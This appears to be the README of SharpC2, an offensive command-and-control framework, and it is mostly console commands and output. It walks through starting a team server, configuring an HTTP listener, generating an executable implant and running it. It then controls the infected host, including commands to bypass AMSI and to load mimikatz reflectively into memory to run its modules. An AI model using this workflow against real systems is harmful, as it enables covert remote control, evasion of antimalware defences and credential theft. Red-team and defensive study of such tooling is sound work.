SharpC2 is a Command and Control Framework written in C#.
The solution consists of an ASP.NET Core Team Server, a .NET Standard Implant, and a .NET Client.
Quick Start
The quickest way to have a play with the framework is clone the repo, then build and run the Debug versions.
Start the Team Server
C:\SharpC2\TeamServer> dotnet build TeamServer -> C:\SharpC2\TeamServer\bin\Debug\net5.0\TeamServer.dll C:\SharpC2\TeamServer\bin\Debug\net5.0> dotnet TeamServer.dll Passw0rd! info: Microsoft.Hosting.Lifetime[0] Now listening on: https://0.0.0.0:8443 info: Microsoft.Hosting.Lifetime[0] Application started. Press Ctrl+C to shut down. info: Microsoft.Hosting.Lifetime[0] Hosting environment: Production info: Microsoft.Hosting.Lifetime[0] Content root path: C:\Users\Daniel\source\repos\SharpC2_dev\TeamServer\bin\Debug\net5.0
Note: By default, it will start in Production
mode and listen for connections on all interfaces. To restrict to the localhost only, set the hosting environment to Development
mode: set ASPNETCORE_ENVIRONMENT=Development
.
Start the Client
C:\SharpC2\Client> dotnet build Client -> C:\SharpC2\Client\bin\Debug\net5.0\SharpC2.dll C:\Users\Daniel\source\repos\SharpC2_dev\Client\bin\Debug\net5.0>dotnet SharpC2.dll ___ _ ___ ___ / __| |_ __ _ _ _ _ __ / __|_ ) \__ \ ' \/ _` | '_| '_ \ (__ / / |___/_||_\__,_|_| | .__/\___/___| |_| @_RastaMouse @_xpn_ (server)>
Connect to the Team Server
(server)> localhost (port)> 8443 (nick)> rasta (pass)> Server Certificate ------------------ [Subject] CN=localhost [Issuer] CN=localhost [Serial Number] 67B4A5487F67745B [Not Before] 25/02/2021 21:01:43 [Not After] 25/02/2022 21:01:43 [Thumbprint] B968C8D9C2B40F4AD7A46C92B0B700DEE46492FE (accept? [y/N])> y [drones] #
Configure and Start the Default HTTP Handler
[drones] # handlers [handlers] # list Name Running ---- ------- default-http False [handlers] # config default-http [default-http] # show Name Value Optional ---- ----- -------- BindPort 80 False ConnectAddress localhost False ConnectPort 80 False [default-http] # set BindPort 8080 [default-http] # set ConnectPort 8080 [default-http] # show Name Value Optional ---- ----- -------- BindPort 8080 False ConnectAddress localhost False ConnectPort 8080 False [default-http] # start [+] Handler "default-http" started. [default-http] # back [handlers] # list Name Running ---- ------- default-http True
Generate a Payload for the Handler
[handlers] # help payload Generate a payload for the given Handler Usage: payload <handler> <format> <path> [handlers] # payload default-http exe C:\Temp\drone.exe [+] Saved 74240 bytes.
Execute the payload.
C:\Temp> drone.exe
Interacting with a Drone
[handlers] # back [drones] # list Guid Address Hostname Username Process PID Arch LastSeen ---- ------- -------- -------- ------- --- ---- -------- 655a3dea9d 172.20.64.1 Ghost-Canyon Daniel drone 32748 x64 0.29s [drones] # interact 655a3dea9d [655a3dea9d] # help Name Description ---- ----------- back Back to previous screen bypass-amsi Bypass AMSI for post-ex tasks cd Change working directory execute-assembly Execute a .NET assembly in memory exit Exit this Drone help Get help ls List files and directories overload Map a native DLL into memory pwd Print current working directory run Run a command shell Run a command via cmd.exe sleep Set sleep interval and jitter [655a3dea9d] # help overload Map a native DLL into memory Usage: overload [/path/to/dll] [export] <args> [655a3dea9d] # overload C:\Tools\mimikatz\x64\powerkatz.dll powershell_reflective_mimikatz coffee [+] Drone tasked: 668a2b4acb [+] Drone checked in. Sent 1878149 bytes. [+] Output received: .#####. mimikatz 2.2.0 (x64) #19041 Mar 3 2021 14:35:36 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( [email protected] ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # coffee ( ( ) ) .______. | |] \ / `----' [+] Task complete.
Publishing
The best way to publish Release versions is with the dotnet
command line utility.
C:\SharpC2> dotnet publish -c Release Microsoft (R) Build Engine version 16.10.0-preview-21126-01+6819f7ab0 for .NET Copyright (C) Microsoft Corporation. All rights reserved. Determining projects to restore... All projects are up-to-date for restore. Drone -> C:\SharpC2\Drone\bin\Release\netstandard2.0\Drone.dll SharpC2.API -> C:\SharpC2\SharpC2.API\bin\Release\netstandard2.0\SharpC2.API.dll TeamServer -> C:\SharpC2\TeamServer\bin\Release\net5.0\TeamServer.dll Client -> C:\SharpC2\Client\bin\Release\net5.0\SharpC2.dll
You may build projects (such as the Client) to run on any compatible platform using -r <runtime>
, including Windows, Linux and macOS.
C:\SharpC2\Client> dotnet publish -c Release -r win-x64 Microsoft (R) Build Engine version 16.10.0-preview-21126-01+6819f7ab0 for .NET Copyright (C) Microsoft Corporation. All rights reserved. Determining projects to restore... All projects are up-to-date for restore. Client -> C:\SharpC2\Client\bin\Release\net5.0\win-x64\SharpC2.dll C:\SharpC2\Client\bin\Release\net5.0\win-x64\publish> SharpC2.exe ___ _ ___ ___ / __| |_ __ _ _ _ _ __ / __|_ ) \__ \ ' \/ _` | '_| '_ \ (__ / / |___/_||_\__,_|_| | .__/\___/___| |_| @_RastaMouse @_xpn_ (server)>
C:\SharpC2\Client>dotnet publish -c Release -r linux-x64 rasta@Ghost-Canyon:/mnt/c/SharpC2/Client/bin/Release/net5.0/linux-x64/publish$ ./SharpC2 ___ _ ___ ___ / __| |_ __ _ _ _ _ __ / __|_ ) \__ \ ' \/ _` | '_| '_ \ (__ / / |___/_||_\__,_|_| | .__/\___/___| |_| @_RastaMouse @_xpn_ (server)>